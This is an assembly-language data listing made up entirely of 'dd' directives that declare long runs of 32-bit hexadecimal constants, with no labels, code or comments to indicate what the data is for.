dd 0BEEFFDBCh, 5C3B45AAh, 0C735E21Ah, 20B453D8h, 0D41557A2h
dd 272B9E8Bh, 89FD0291h, 467EA26Ch, 5E6B2FBFh, 5FEEFDD1h
dd 592F87C4h, 597EBB6Eh, 0ECEFE9B2h, 76490BCDh, 3447BDCAh
dd 0C3265875h, 5E790832h, 9137C9B4h, 97318E42h, 0BE6B81CBh
dd 90DDD24Fh, 17981107h, 0C1EE73DBh, 2D690484h, 76ABED9Bh
dd 0E475573Dh, 393BB081h, 0E7C70F68h, 0FD684DF6h, 4DA9D45Bh
dd 0DFF65532h, 0C2113BF9h, 0C668A94h, 2CA88466h, 0F5053A70h
dd 0CD3A56BFh, 485EBE54h, 0D32B0411h, 0F4167802h, 0B834F12Dh
dd 0BDB7A7D5h, 0D8C5634Fh, 0C0D5A961h, 0FFEFC635h, 0D41E3B4Ah
dd 10CCA3DAh, 2686A46Fh, 3EFBFD54h, 0FB4277AEh, 7DE5D434h
dd 0E9EAD915h, 0D201822Eh, 0DA4383B4h, 0D179E762h, 0A48D3727h
dd 0E30A7EEFh, 0CB9F354Ah, 0DAFF937Ah, 11A9FFDh, 7846F7E9h
dd 1402A7A4h, 0F8B7DF45h, 0BA35700Ch, 1F026DFBh, 98CC3EE9h
dd 433361F3h, 10B59024h, 2B19DF34h, 0C8D78E6Bh, 685A8891h
dd 8B1BCB41h, 983E549Dh, 38B47CEFh, 0F5F9E00h, 0A15F00F0h
dd 208E678Dh, 374B40A1h, 0F0631B94h, 1329BEB1h, 1C5684C4h
dd 6B0488DFh, 33DED07Bh, 54075425h, 0FFDCE329h, 5CBE3FC4h
dd 323BBF77h, 271277AFh, 0E1E7EBEBh, 0AA83D643h, 3972FF23h
dd 641F0668h, 0AB3AA1C1h, 13EE61DAh, 0E26096EDh, 53E0A628h
dd 0A72E83Ah, 0BC5E38F5h, 5FA25EA6h, 0A9CB6090h, 0E9C18E46h
dd 0A0C0A663h, 4BBF294Fh, 9758D8DAh, 0EABE701Bh, 3F040B88h
dd 0F7FA4A36h, 0CA425981h, 0A5E12777h, 46180408h, 0AC4B136Bh
dd 5D343FDh, 148E2334h, 0C2EFDF29h, 0D3442DD4h, 0BA94EDF1h
dd 0AB9D039Fh, 0B6BAC41Bh, 0F3A4FE2Bh, 8CC15002h, 71F29143h
dd 1FF35C6Ah, 875E2A88h, 49D55731h, 0B2C414h, 568E5947h
dd 497B0982h, 667D130h, 0DA60C1Fh, 0A8AEA3D0h, 283B15C1h
dd 8AEF8428h, 15922C9Dh, 0BD4ED627h, 7A363F46h, 73026A28h
dd 779C117Bh, 0B33C6BFBh, 0BCF3AD48h, 7572AEB7h, 0EEFB8719h
dd 9F93D762h, 8F40BB07h, 0C3463167h, 70667978h, 0A87503CFh
dd 3836B836h, 0EADB39DBh, 0E2C05C16h, 0ED41C41Eh, 0F55265CDh
dd 4A3D38h, 0D6D366B4h, 510E70C6h, 0CC5A7D94h, 0D32CFAF1h
dd 0EB66B803h, 2726BBE4h, 3A537C18h, 92A728CAh, 0C53648AEh
dd 0A31A0490h, 0E454C460h
dd 0A8299CA0h, 2DAF6883h, 2BF44383h, 54447103h, 85FC2789h
dd 66139D7h, 2DBCF8E3h, 0CBAAED6Dh, 0D258021h, 0A739A96Fh
dd 49E45A77h, 0DDD68D18h, 52E13B3Dh, 59A44570h, 24663E60h
dd 94F1A72Ch, 1C64229Eh, 48E95063h, 5A1CBC18h, 10B8823Eh
dd 2600C2F4h, 0AB3D1850h, 0C8E51965h, 0C3A1C85Bh, 0E9385734h
dd 344EB02Eh, 0A6AF7207h, 0AC4AA18Dh, 990D3FE1h, 0E2259A64h
dd 6DAA10DCh, 0CF0762EFh, 0A1017D23h, 4B53655Bh, 0B231C3B6h
dd 0FE12F725h, 909A2A90h, 98645BD8h, 0ABC4E0E8h, 2E8E56h
dd 2386906Ch, 0DAF37930h, 85D0EACCh, 1CEF26E4h, 64B4270Bh
dd 318EB396h, 0D03C78BEh, 55F6DA40h, 3E37C3F9h, 571D0709h
dd 0E270CC9h, 0F15F329Dh, 4AD37489h, 7C168FD8h, 95937093h
dd 911D3669h, 0E3A894CEh, 3110F8C5h, 0BB38D88h, 5CF8B21Dh
dd 4347724Ah, 29FB5F88h, 0C2F18BE5h, 73028D17h, 0E2CA55FEh
dd 83305BF6h, 4DCC4098h, 0B4E600B7h, 33119000h, 98E717C2h
dd 0C9A10C78h, 0CF3AD4EAh, 0ED6D685h, 0D97AF1EEh, 1B6DFB76h
dd 7FA5683Fh, 0D95B6ACBh, 99772DD2h, 0E9D3208Dh, 8D3F5427h
dd 0CD158785h, 68AA3106h, 84237FB1h, 0E7D82350h, 0CC468F9Bh
dd 0E83D6443h, 7B8705C0h, 66D64BFDh, 0B5B4781Dh, 7FAFC20Dh
dd 0E6C494B0h, 3A548246h, 907D93EAh, 0A8FEDBDEh, 7E927AB4h
dd 0C2DEBB99h, 0D9A2BE5h, 974A76D3h, 2F94DC9Dh, 27EBF6C5h
dd 0F5388BC4h, 0FD58F1BDh, 2B01134Ch, 0A2E4F138h, 56E102h
dd 0A74756A3h, 0A234D2C9h, 0F0DB1E21h, 514047ADh, 0CE46729Fh
dd 0D2FF59F8h, 0E8038CBEh, 7C8A19A5h, 0D535D189h, 578F087Ah
dd 37A8BEC5h, 0C4AB344Fh, 5981C736h, 4DE02387h, 0A5D16E93h
dd 215D3012h, 0AA94418Ch, 41CEE506h, 302DBD99h, 472F6454h
dd 0EBE73567h, 2DD68A04h, 0BA00E3CFh, 7A641B1h, 0E8194260h
dd 0CC0D15C6h, 3C1C693h, 0AFB9FD5Dh, 0BC9F84F9h, 65A52AF1h
dd 0F645B1DCh, 58CDC467h, 52D570DBh, 341BA2D1h, 8402DCE7h
dd 0A9B42D9Ah, 3482AA33h, 2BC4B8E4h, 4F663915h, 0C1AB78F9h
dd 0EEEB17B1h, 5F322C4Bh, 0B30C5494h, 39DAE1A6h, 0A69E8A7Eh
dd 0A50D4470h, 0DC65D0Bh, 0B20348DDh, 14A202F3h, 1A8AF646h
dd 12C39B30h, 6E166210h, 79161680h, 0ADE70BAAh, 0A9323882h
dd 427BE28Ah, 0F7311C1Dh, 0B664CF53h, 79464291h, 0FFEDBE3Ah
dd 38AC6CBAh, 0ACCB5CB7h, 969CD0DCh, 0A77061F1h, 1BECF922h
dd 0FD48969h, 0E67D38EFh, 93A68F7Fh, 8F01F323h, 80596BB4h
dd 0B5616D7Bh, 0BA0873AEh, 96A5DAEh, 4F0E63A6h, 0C1B709A1h
dd 0A56A6A00h, 0AD7A6C2Dh, 2ACDD47Dh, 23D8D44h, 5C7E5FFAh
dd 3656017Eh, 42BC4D55h, 0D825F6A0h, 315DF79Eh, 8664A0DFh
dd 0E4CC3818h, 6C9168EEh, 0DEE2ACB0h, 649A1ECDh, 0D0DAE369h
dd 2DFE38F8h, 5B96474h, 8E05CF9h, 90FF6FB8h, 2EC51AA3h
dd 1FB60C3Dh, 280E616Dh, 5BEC5FC7h, 0F2A30972h, 0DC176379h
dd 0F521C4DEh, 4EC4AF3Dh, 0E9E89B20h, 2BAEEF50h, 0A1BD7681h
dd 38B561F8h, 0B7777907h, 0D6A0EA04h, 3605683h, 13953BAEh
dd 6277FF0h, 6960C47Ch, 9AD2BD4Dh, 64F5DD34h, 0A74EE88Fh
dd 5D6DB064h, 2876FDD3h, 0BA63B879h, 5E093DE2h, 1762212Bh
dd 0EB48CF77h, 94A8619Bh, 6F78C445h, 241FC7Fh, 0D0509443h
dd 0EA8C6D50h, 4969058h, 7F4F58AFh, 2FEF445Eh, 83068837h
dd 0EF2DC2BDh, 7B935BEh, 636CFD4Eh, 0F1A64E0Ch, 9DB975C4h
dd 0E5F3E63Dh, 50B2E694h, 684AFC51h, 17BB5DEBh, 0DE6970D1h
dd 3F6BDC8Ch, 25E5BC13h, 0DEF6A13Bh, 264CCA8Bh, 0BA5E4D8Eh
dd 1C9C9A92h, 884494BDh, 6FED8106h, 0DA275FEDh, 6867226Fh
dd 0B249CF38h, 9448EEBCh, 0C196B209h, 7029F03Fh, 0A5663B64h
dd 0BD5591E1h, 0A006BCD5h, 38F704DDh, 3CAA2D4Eh, 1A5AA489h
dd 0FB22AD59h, 0A54CF5A5h, 0C013CB1Ah, 0AB678330h, 0B8ADC7CCh
dd 0B41F9E67h, 695F1BD2h, 830D1014h, 9C8A282Fh, 98E941EDh
dd 9D1C51EBh, 60BCBA09h, 0C0ED67Bh, 76D90D87h, 0AE5E1A50h
dd 0B8266C4Ch, 13F30E09h, 9926B6E7h, 0C012A134h, 0AE490318h
dd 474102C1h, 7F72B107h, 999C0F02h, 22866C15h, 0C8A943B7h
dd 757CD466h, 65A2E2E8h, 0C31EBE8Eh, 77EA9CCFh, 651516E3h
dd 3923437Ch, 0E021FA7Dh, 3405B2ABh, 1E8AA192h, 211740ADh
dd 4F357CEFh, 0A88492E7h, 7F0087F9h, 25AE9F05h, 3234EDF6h
dd 8F08F0FAh, 4EC5413Ah, 3F59EBADh, 0F702C68Ch, 0F6B15BE5h
dd 8E3B275Fh, 6166CFADh, 0A2330427h, 0F96B9A6Bh, 0D02DE938h
dd 133BDFFh, 8E161666h, 0D7293216h, 453D75A1h, 197FC894h
dd 0BE9D5441h, 0F222FF13h, 18658281h, 71A4BC94h, 610CDB43h
dd 0D3DD6B75h, 53198823h, 0FD5AD7CFh, 15A76AA1h, 0B2AF70A7h
dd 0AC43C6B7h, 7BD7F514h, 0FABA1348h, 4FC9936Ch, 0E27F1C3Bh
dd 500CDE09h, 0DAA2A460h, 898671DCh, 0A66B442Fh, 0C39D392Ch
dd 7B072EA2h, 417C166Dh, 3E6FAE7Eh, 2DD8866Fh, 0D2BB66E4h
dd 0F4F79E13h, 2F975844h, 0C5289597h, 2ABB26A9h, 35B55FC4h
dd 0BCD1BC83h, 61A70DAFh, 0E2837C27h, 298CE3D1h, 0A948CB45h
dd 0D59C70CCh, 0C33BF140h, 31606244h, 25E73AF4h, 5B63589h
dd 477FAAB9h, 18D767Fh, 44140747h, 0BEAB707Bh, 0C5948877h
dd 515EEB43h, 6C0B41FAh, 91D35B3Ch, 0EE1F96D4h, 0D71AECABh
dd 3C69EF2Dh, 0CE12DE76h, 0C9F752A1h, 0D515357Eh, 0D33A10AEh
dd 0BDA63A9Ah, 0A4E9991h, 987D3238h, 911C1859h, 0B2B396F8h
dd 3064A455h, 2C17BFABh, 1ECF04D9h, 0CD513000h, 67CC0C9Eh
dd 77686B2h, 8ECF36ACh, 8D432A10h, 0D47CF89h, 0EBD77497h
dd 0A9103A32h, 327A287Eh, 82CBA332h, 258A5AC9h, 7CC7E28Bh
dd 2309A4C2h, 711D664Ah, 0CEB3482h, 0C60CD80Ch, 2775013Eh
dd 35C91A5Ah, 0CE3D9Ah, 4B2648Ah, 624B8D0h, 5EA4AB41h
dd 7E42864Eh, 984E7A7Eh, 496C9CABh, 7458636Ah, 0E17534F3h
dd 882B71E7h, 7D8B99C9h, 0C8FD5FCFh, 812D4511h, 0EF93822Ah
dd 4C5B5208h, 247B80ABh, 3614C36Bh, 0E2609B8Fh, 9A3A8770h
dd 4617F5FBh, 496282B0h, 0E819790h, 418A8931h, 4D361FD6h
dd 0A05FFA1Ch, 163635Fh, 6BCD966h, 2CABF674h, 1485E5C2h
dd 9FA2BC57h, 52C452ACh, 0DD2675C3h, 7A5BAAEDh, 4AB51D6Ch
dd 0F642E4A7h, 19A11CCAh, 95734ED4h, 6BC70F89h, 0A575367h
dd 0B995336Bh, 5AEF7937h, 95B8AE83h, 956E800Ch, 31D36B44h
dd 0FD4B1A3Ah, 0A31007F6h, 2A54C26Fh, 0E24D4817h, 3EEA5772h
dd 628284C4h, 90AF5AE6h, 0C4147571h, 8AE226C2h, 0FE32FE76h
dd 0C0EA7150h, 2309DC09h, 7098316Bh, 0F6922BE5h, 0EDC2E51Fh
dd 0B7AC31FBh, 428EDCDEh, 0C2F1A1D1h, 0C72CE63Ah, 9CC773B8h
dd 2D8F7C0h, 5F4A297Ah, 0ABA0217Dh, 430A65C9h, 0F6972DFDh
dd 0D75E9B9Fh, 72F14753h, 0E1193C31h, 269C9DDCh, 0C8020A72h
dd 0B23AA038h, 94188345h, 0C786230Dh, 16482CC3h, 642400E4h
dd 10583591h, 2FC902C9h, 0A8FF71DBh, 4D47C96Ah, 83BA69C0h
dd 4E7F8A58h, 0D1BAE897h, 0D91791E4h, 12BB9DCEh, 0B137B357h
dd 275CB218h, 8C06A17Ah, 0AE494C4Fh, 13BCB6C9h, 137803B7h
dd 0C99082B5h, 6F42EA1Ah, 3578556h, 0A0E96AD8h, 3789E18Eh
dd 1F343381h, 0B184DC60h, 61EC0FBDh, 6B3F78Bh, 54B3F62Ah
dd 0B1FAEACh, 7934E475h, 4ACBD81h, 0B7E4147Fh, 0F955A0A8h
dd 0BFDB3F46h, 40A7AAB7h
dd 75B87929h, 1C6FAF4Fh, 0E4DE39E2h, 66009AEAh, 0D320F01h
dd 1D06A91Ah, 404273F8h, 0B80675B9h, 0F935D85Dh, 0F4753569h
dd 52D569DFh, 0CB0234FAh, 47224EF0h, 32CFD23Bh, 0F478AA83h
dd 0DD7C90F3h, 57F6E3CEh, 4AD2FA37h, 0A45051CCh, 5E17FDB9h
dd 4477616Dh, 0DA6E7812h, 0C061084Ch, 36639F75h, 0F6734358h
dd 0A3528AE0h, 8E1D1202h, 6DAA7DE7h, 283FAC1Eh, 0D41B2B08h
dd 0ACDAD84Eh, 0D2834129h, 3FED6AD9h, 0DC0DECD6h, 0B1FACD55h
dd 1A066AA2h, 5D8B1BFFh, 61E2202Dh, 0ACDE0B24h, 202A4475h
dd 5AEC7397h, 64D43E4Eh, 0C6A820EEh, 0CA20EEAAh, 0E46594BEh
dd 7A596DC0h, 4375BD5Dh, 5127B8EBh, 19A5C6E9h, 49998587h
dd 3FC961EFh, 8AB60956h, 408E4344h, 8479499Ch, 64E49754h
dd 0F212091h, 0A82F26D2h, 0E499DF0h, 5B73472Dh, 57D76246h
dd 0A9A10147h, 0B8F88F0Ch, 7787F21Ch, 147329D7h, 0BA993AFEh
dd 0F354B6C8h, 73BD4D45h, 7D423850h, 2877D4E1h, 3D0B73CEh
dd 97E0BF3h, 0E498753Eh, 0CFA5DD2Ah, 0D0537EB3h, 6AB95355h
dd 7D1EACE4h, 6610183Ah, 4F132B2Bh, 7290513Ah, 0B9577B30h
dd 27238B6h, 7B91B698h, 66597A2Bh, 654C2E83h, 2EB57D5Dh
dd 2136C22Bh, 3F8CA248h, 0BD449D79h, 67642DFAh, 44AA3BCCh
dd 0F486E07Bh, 612BE8A7h, 3F9C27D6h, 0ECE7AC1Bh, 67098F70h
dd 0A73D388Dh, 0AC284616h, 99C950C7h, 0F16FFA8Ah, 396F9E80h
dd 5644CADDh, 79F1D708h, 0A10B4254h, 6AB2E05Bh, 209BA715h
dd 0DC8588E8h, 0D59BE99Fh, 73CD6FD4h, 7B4A5635h, 23594E0Fh
dd 65EE117h, 4DF44598h, 0E49BD156h, 32C04F3h, 0FDBA062Bh
dd 4ED7AFD0h, 0DEB252FAh, 3EFBC9B1h, 8BFE2134h, 493983EDh
dd 43801230h, 0E4295A6Ah, 0F5C097D4h, 0B8E432BCh, 31D887F7h
dd 0EE1F5FBCh, 449D7C69h, 0D4B5A59Bh, 3D82BB4Dh, 536D2BE4h
dd 38F8A6C3h, 0CCCA0B73h, 0C58A7DDFh, 0E11A63BBh, 0AAE5AD2h
dd 7AE4B6FCh, 0F902DFC8h, 728FB950h, 0A8C13BD2h, 4ACFFA23h
dd 0F455C1D8h, 0BF5FCE88h, 6588DE83h, 0FF113DEBh, 50C1ABE3h
dd 0B916304Ah, 55464F5Bh, 0A314056Fh, 0E8A016FEh, 6C5E01B5h
dd 1BE66976h, 0F4287DD1h, 914AB625h, 6B681751h, 0B69A28EFh
dd 82EDBF57h, 0C8BA9CB7h, 3360C9C9h, 54D67031h, 0EAE027ABh
dd 62062B99h, 7ECC7D23h, 7985058h, 7C3C6F7Ch, 0D292DD17h
dd 0AA6E64FAh, 90FAF647h, 0F9BD4647h, 0A37F90C3h, 0CCBF7D12h
dd 3C4652DCh, 0ECAA9EDh, 2E92D536h, 0B364FB10h, 2450D5B1h
dd 6BA4DACDh, 9156F77Bh, 7E0BD444h, 3F8EF781h, 56F075DDh
dd 20501D1Dh, 82EC123Ah, 9E52ADAAh, 93A71F1Ch, 9A174ED4h
dd 0C72A94A4h, 746B38BEh, 43995861h, 218B224Ch, 0ED573CBDh
dd 5B4F659Fh, 3AD45ABCh, 9700C65h, 307E0CCFh, 6E4BD062h
dd 0E819A18h, 60C574D1h, 3309C0C6h, 0A884087Dh, 65572A3Eh
dd 4F661EBAh, 679A6097h, 0E5122EE5h, 0BD6C1895h, 25C9DCF8h
dd 16DDB476h, 586DF85Ah, 331896DEh, 0C2C39C1h, 6443456Fh
dd 67B7274h, 833D7D27h, 80A86B0Ch, 95BF2B5Ah, 59870BBCh
dd 9C713740h, 0FF04E7BDh, 0C5B90716h, 42723CD2h, 5E0FBD09h
dd 0F454A5FCh, 0DC61B5F6h, 76D7BA9Ah, 0A539BD3Eh, 807F5355h
dd 0B03A59D4h, 5DA4172Eh, 91759DECh, 0D2045193h, 4A165D11h
dd 0F0CC7881h, 0F5D39135h, 0CD3EE950h, 8BF35DA9h, 9EBD3B43h
dd 9750578Eh, 0D535CD65h, 49FA82E2h, 706EEE7Eh, 0D6E9195h
dd 7950772h, 74C17B13h, 0D1B3CDA9h, 7B1BB3A1h, 1D038E0Ch
dd 26C3F0B1h, 0BF3F390Eh, 0B642DCA4h, 0DB426AA7h, 99E1918Fh
dd 2BCAF1F1h, 0C8556DB8h, 0DEED74C4h, 1A7D3804h, 78D72C1Bh
dd 3841470Ah, 9907C32Bh, 4B7E1416h, 4AEFA47Eh, 2913E8A6h
dd 51B46EB1h, 5AA02195h, 8C280936h, 55734142h, 0D40848Ch
dd 0EC90B24Dh, 0AB705FA4h, 3C090F4Ch, 0F7A530F8h, 6204BBACh
dd 64E79327h, 2DA9722Ah, 99876BF1h, 6894282Ch, 1C7740C0h
dd 84708340h, 0A7ED72B5h, 0C800B822h, 0D3E26054h, 97B3E3AEh
dd 616FC749h, 0C1F936CBh, 0A376D4F0h, 0E90D8D37h, 0E676D7A5h
dd 0DCAC6F18h, 5ACB5E05h, 3ACFABFBh, 24A8537Bh, 91708DBEh
dd 916A2A5Eh, 0AAAB8DA1h, 0DF559B42h, 42BDFAE7h, 77ADB106h
dd 98DA1C52h, 96010ABFh, 210691C5h, 7442B409h, 45D07B0Ch
dd 0E1FCAA8Bh, 0E241FC44h, 832FD7EFh, 0DC9075CDh, 0EEEBB86Eh
dd 0AF6FE7B5h, 0BC7D6549h, 0DC23319Ah, 43C4974Fh, 5BC954CFh
dd 2C6B9F6Fh, 0E1A1B18Eh, 0DE2D0EE2h, 1523E6B5h, 4CFF49D9h
dd 9373D0CBh, 67F7B9C6h, 33C58138h, 65E3FBA5h, 0F80935B3h
dd 0D0EB7420h, 70F97F6Ch, 0FCBC1B9Ch, 0D423713Eh, 0B3DABFCEh
dd 0EE764F42h, 0E3456EC7h, 0B1E4472Fh, 417C2032h, 0BBEBD81Ah
dd 86428182h, 1E362900h, 7556958Eh, 46BC1065h, 13303130h
dd 587AF4CFh, 8E02797Eh, 0DD185B14h, 0A45E0535h, 23EE95F2h
dd 0F56EE955h, 25AC5E3Bh, 83380ED7h, 0C348DCC3h, 0CC396F25h
dd 4FE97559h, 0D60D4B95h, 3A9A04C2h, 0A75F4E31h, 498D0BD4h
dd 88087ED5h, 79C0922Ch, 7ED1E072h, 4D5AF720h, 0F9DC5467h
dd 5EE569FFh, 0A2C8C7CEh, 0D494616Ah, 0EDB5D46h, 1BAB8D61h
dd 2EC689AEh, 59DB1A5Ah, 0FBBC66CBh, 0DDA4A60Bh, 45531729h
dd 814FB186h, 8899261h, 0ECC34F5Dh, 5DECF46Fh, 3C419B01h
dd 9BB0D7A6h, 0BB73B8B1h, 34BC13EAh, 4F645915h, 76F33EA9h
dd 98E541E7h, 85EBDC5Dh, 4151CC85h, 0BA1753D1h, 0CC021CDFh
dd 0DE5399F1h, 0A3E6EBD4h, 68D4A8DEh, 588BF823h, 27562340h
dd 1F7C9F32h, 0C0D4E7CEh, 74138C21h, 323D01D5h, 3D98C36h
dd 2DFC0064h, 1C776EB8h, 82D55C8Eh, 0E6EE1E40h, 0DE50E9A2h
dd 0C42AEB84h, 0C87A27h, 83E5ED71h, 75786C00h, 88D8CEAh
dd 3AC988AAh, 0D9AB8CA8h, 87166BD5h, 55B2C388h, 1E5152CCh
dd 5762ECE0h, 17A3935Fh, 6B835CF6h, 1C588AA0h, 8D849D67h
dd 33872830h, 19646502h, 0AD1F414h, 31A6F08Bh, 58904DAEh
dd 86770A65h, 0A5B821B1h, 0A5C8959Dh, 0A1F39E68h, 0BF853C1Fh
dd 0F60D706Fh, 2AAEC6C6h, 0F8FB2837h, 2061B8EDh, 13AD1C2Bh
dd 4D5FE35Dh, 7F5E1D00h, 68F48937h, 3C5C2BBAh, 2CB376FFh
dd 0A6715E81h, 32BC04F9h, 3642130Dh, 0ED803F67h, 0DE14729Dh
dd 61077A56h, 0E45A467Dh, 6E0A40B0h, 9226EC0Eh, 0C1C99206h
dd 242055F3h, 0DC7A8EBAh, 1FA3D154h, 0F727831Eh, 4E5E73D7h
dd 7F9CC5D9h, 333DB0D6h, 74F38A67h, 3AEE516Dh, 0F7625F7Dh
dd 5EE43607h, 30F8375Ch, 0F9CE51Ah, 70B96500h, 85D76AA6h
dd 461ABFC6h, 0B0733062h, 0B27FC2B5h, 1884ABB4h, 9EF675ACh
dd 75561FDDh, 0E4AFC4E9h, 0C7E1CE38h, 9504303Dh, 74E8B0F1h
dd 27DA4A83h, 74F2A0F0h, 376C8C9Bh, 509C04A0h, 567DC602h
dd 5A3D3F52h, 30FD745Ch, 0C8F923ACh, 50BEE356h, 69EE56A9h
dd 622527B4h, 2C9B3C44h, 62532F5Ch, 3B398D35h, 0A5C18507h
dd 68B6E3Fh, 43C5692Ch, 0FF23D093h, 0AF84A9BEh, 879F78C9h
dd 0B3E9F886h, 63BF66A8h, 0EFE5E0ADh, 33AF399Ch, 8E55E88Eh
dd 0F648BB6Ch, 0FE9545A5h, 81788225h, 0A4C94EE1h, 0F9D9ACC1h
dd 0E1D5D7AFh, 991AE0BDh, 49E8E33Fh, 0CB705071h, 90C9E2D8h
dd 0B0606112h, 63781249h, 1CEE1FE2h, 39253594h, 8FE3BF13h
dd 88BE4587h, 2E927EE3h, 0D249C8B8h, 7E57847Ah, 779034Eh
dd 5B6381CCh, 0E54F42B5h
dd 0EF57DD0Bh, 1CC1C30Fh, 35777314h, 4F626C5Eh, 0CCF376CEh
dd 0C0238AE2h, 70EC62CEh, 7CEF3A7Dh, 80C54176h, 1B79896Eh
dd 8ADDB0C4h, 9720A5E5h, 0A387B9DAh, 0D2C0F5C7h, 0DEAFB22Ch
dd 994AD436h, 29D7DA68h, 1A633392h, 210540C9h, 9090B8E4h
dd 7E2BEE29h, 5F800270h, 0B7F36E9Ah, 0FD4B397Dh, 11DCFB5Ch
dd 2B510AA6h, 7BF4495Fh, 845EC724h, 60147BC9h, 0F5401939h
dd 0FBBC315Ch, 8699A085h, 32E3C509h, 2ABDCF6Ch, 552A84D9h
dd 2AF63626h, 832AED0Ah, 0BF509484h, 0E50D5CA8h, 4FBE4A86h
dd 5CB87534h, 0E00DDF23h, 0FBE21C31h, 0A0C7DC16h, 0B50533A3h
dd 3706B87Dh, 819F5E96h, 0A2D2AC82h, 55A3F584h, 9AF40EF6h
dd 6FC0D9BBh, 6853BF27h, 0C71B8B3Fh, 0D5723612h, 7D880445h
dd 3F102657h, 759713E0h, 809A6869h, 0AD449068h, 0B7D3689Fh
dd 20F199C4h, 0C0C4CB36h, 1FD9DCCFh, 0D3868305h, 0A8AC3D51h
dd 0FD30783Fh, 2FAD6E44h, 0AC5802DFh, 3D7987BBh, 690252BCh
dd 0BC13A63Ch, 0FA22AC8Fh, 0AF1F34A4h, 0AE7A7AEFh, 0BD7C1D8Eh
dd 0F5144A32h, 0C4F1687Ah, 3B30187Ch, 69601FFh, 0D76A923Fh
dd 74449C01h, 0C332507Eh, 8A6B6604h, 0F70C3692h, 0EAF7A14Ah
dd 0F31C0BBFh, 81A4B833h, 928E96BEh, 0C12C66D9h, 22C88731h
dd 53DA198h, 0C9EA2B41h, 3118E44h, 26677454h, 7CCF139Fh
dd 81083069h, 996BF412h, 97D306F0h, 6976F406h, 8904FE85h
dd 4416C69h, 0D849BE1h, 1BE8A653h, 0C86AEDF7h, 33AD05D0h
dd 0DA282FE8h, 0F78C7AB0h, 0FDBB235Fh, 93E4D98Dh, 0BE236744h
dd 0A151C055h, 0E08290B3h, 7016A3B8h, 0D38ED1Ch, 0D78153ABh
dd 5E02C2B0h, 1FA9B2B0h, 85E3F7ACh, 0BB265889h, 60FB380Fh
dd 64527D55h, 0B663E07Ch, 0BDA3E091h, 47A8D129h, 811263DCh
dd 75E04755h, 1ECEDF28h, 3F837FC4h, 0FABEB59Ah, 63724866h
dd 930E0CCAh, 0A4650D26h, 77A6E833h, 322D1C66h, 38CECC25h
dd 5EFBADD0h, 4D6EAE48h, 0BE22759Bh, 0F4A448DEh, 3F73E4ABh
dd 8089B48h, 7824E483h, 690C5E98h, 823A4D29h, 5FB2DFD5h
dd 97F7C284h, 2A5F13AFh, 0BBB5DA4Eh, 1C84D992h, 5C59F64Bh
dd 29789C11h, 2E0338D5h, 752AC020h, 543BEDF0h, 57D3A9BEh
dd 5B3BB2B5h, 0CAA1C6B6h, 0EF2F3496h, 1CAE3F67h, 0BDA92B30h
dd 0EEE66EE8h, 45173E84h, 0DEC3E865h, 0C699037Eh, 0B0A0E7CDh
dd 70CCD572h, 88080B17h, 0F008D93h, 78295DFh, 996BC923h
dd 8A4E5044h, 0DCABBBE3h, 0F50085FBh, 430ED6B1h, 0EB1D8355h
dd 78AA4DCFh, 0CB7F257Eh, 40660C55h, 0DD22D8C1h, 7299500Dh
dd 2A366E6Dh, 101FB722h, 1C4C8C35h, 0AFD6DF59h, 5DFECBA6h
dd 0E496D478h, 0BF2132B1h, 63B333A0h, 8A20734h, 470FF208h
dd 4D023894h, 8253A6E8h, 0C202D04Eh, 8C4B9943h, 0D7AD688Eh
dd 0F651ECA0h, 0C807BE5Ah, 0FC3AB8C5h, 946BDCA2h, 0ED05998Eh
dd 1D8E3E7Eh, 45CE468Ch, 99AFA8C8h, 11917A14h, 3E327AA2h
dd 4A455504h, 0F50BB53h, 0FD8CF390h, 97BB7DDCh, 8CB4BA70h
dd 0F2B3B0F7h, 87EB40D5h, 0AB9380ACh, 84B0A39Ch, 7B978CF2h
dd 965787F7h, 0BB675F3Ch, 14EFCBEBh, 65763F75h, 0BC2A417Bh
dd 85A9A57Dh, 0B98ECBABh, 0BAEBA80Eh, 0CC4BA2DFh, 0A21FE468h
dd 0CF4824C0h, 7E117A07h, 0E7F0C720h, 0EF35948Bh, 132A7FB0h
dd 0CABB3EBFh, 0FB80327Eh, 8F17D266h, 8DA3ABBDh, 2345FA62h
dd 0F6E600F7h, 0FB472834h, 687CFB52h, 0C855F210h, 1C5E71DCh
dd 0FFAC058Bh, 5E1D9413h, 0AB2A3C58h, 0DE3F84EEh, 0C77B80C0h
dd 0DB4A9A88h, 8CE89C84h, 6AD0F46Ch, 0DD5963F3h, 762CD278h
dd 0AE5E997Fh, 9987BC11h, 0BCA35FCEh, 6BF71336h, 8EA7002Eh
dd 3DAA7C58h, 9C03F6E7h, 24CDCD18h, 0B64ECB5Fh, 26D8CA6Eh
dd 488C359Fh, 5FF8941Eh, 411E4EC8h, 0EEE25332h, 37551C88h
dd 31468A37h, 0C8F6F345h, 0BD27473Bh, 15C0D257h, 91EE529Ch
dd 852A72E7h, 336872A7h, 6CB294CFh, 7BCD02E5h, 9A59978Bh
dd 3B59C21h, 74AF110Ah, 0E85AA740h, 53608EDCh, 0C5A6B238h
dd 0C9E5F602h, 0DB0E63D2h, 52057396h, 0B6527446h, 91AD9h
dd 6C29A7AFh, 6340978Dh, 597F522Ch, 719884F5h, 0BE16F8E5h
dd 0EC0A4781h, 592CC126h, 9C0905B1h, 43DEB753h, 3AC8ADE5h
dd 0B9A07AC1h, 4A43AF5Eh, 0D97B6FA1h, 689F781Eh, 83E066F5h
dd 2F3915B8h, 3A579D98h, 0E797D31Ch, 30C62BDAh, 305BB575h
dd 0EB5F9B20h, 0B0A9E4D4h, 36B85A19h, 61F5507Eh, 39FC016Ch
dd 660AF142h, 0F4FE2CD3h, 0ADA3D094h, 0B5F3D8F8h, 6820AF8Fh
dd 9F5ED20Ah, 508F664Ah, 4B337F2Eh, 0B3ABF631h, 0A9EB229Fh
dd 7A39B76Fh, 0FA48EDF2h, 54B639A3h, 51B4607Bh, 0D559648Bh
dd 4070C874h, 81336895h, 0A78E3D09h, 0ECB800FCh, 64A19AB1h
dd 659EDC27h, 6647E2D5h, 0DDE3F1D3h, 0D73F7CA8h, 0ACFB52D8h
dd 0D7D905E8h, 4E63E2Ah, 3557B678h, 0DA96DB91h, 0C82B8F21h
dd 4D578A82h, 0F31B1431h, 0EE7A037Bh, 44315144h, 397571CEh
dd 7040506Dh, 3EC90F5Bh, 77B5B1DBh, 0C34EE1D1h, 0DDDBC980h
dd 2742AB47h, 0D8EA85E0h, 54B2AB11h, 34024D21h, 0FA2E1A7Bh
dd 2466B863h, 0EE11FB0h, 0AF5E1692h, 3209974Bh, 183B2DB9h
dd 0E0444D63h, 0AECAF269h, 0E7490CF6h, 0E31E67BDh, 0F6B5BEEDh
